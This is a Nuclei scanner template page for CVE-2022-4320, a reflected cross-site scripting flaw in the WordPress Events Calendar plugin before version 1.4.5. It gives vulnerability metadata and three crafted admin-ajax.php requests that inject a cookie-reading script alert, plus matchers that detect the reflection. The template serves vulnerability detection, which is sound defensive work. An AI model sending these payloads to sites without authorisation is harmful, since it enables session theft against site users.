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WordPress Events Calendar <1.4.5 - Cross-Site Scripting

ID: CVE-2022-4320

Severity: medium

Author: r3Y3r53

Tags: cve,cve2022,calendar,event,xss,wordpress,wp,wp-plugin,wpscan,mhsoftware

WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.

id: CVE-2022-4320
info:
name: WordPress Events Calendar <1.4.5 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
WordPress Events Calendar plugin before 1.4.5 contains multiple cross-site scripting vulnerabilities. The plugin does not sanitize and escape a parameter before outputting it back in the page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This vulnerability can be used against both unauthenticated and authenticated users.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
remediation: Fixed in version 1.4.5.
reference:
- https://wpscan.com/vulnerability/f1244c57-d886-4a6e-8cdb-18404e8c153c
- https://nvd.nist.gov/vuln/detail/CVE-2022-4320
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4320
cwe-id: CWE-79
epss-score: 0.00092
epss-percentile: 0.3872
cpe: cpe:2.3:a:mhsoftware:wordpress_events_calendar_plugin:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: mhsoftware
product: wordpress_events_calendar_plugin
framework: wordpress
tags: cve,cve2022,calendar,event,xss,wordpress,wp,wp-plugin,wpscan,mhsoftware
http:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_calendar&id=XX"><script>alert(document.cookie)</script>'
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_dismisshint&callback=<script>alert(document.cookie)</script>'
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=cdaily&subaction=cd_displayday&callback=1&bymethod=&by_id=/../../../../../../r%26_=--><script>alert(document.cookie)</script>'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'imgNavLeftXX\"><script>alert(document.cookie)</script>'
- '<script>alert(document.cookie)</script>({});'
- '><script>alert(document.cookie)</script>.js'
condition: or
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 480a00453043022062c057a6cc51e4edbae3dc0df2ae31116900e5e57b8447431f209eb5c985a425021f3b90670543f2b2c89bd77914ad8144267087aee6db461b5a06b4cdd90c47d2:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-4320.yaml"

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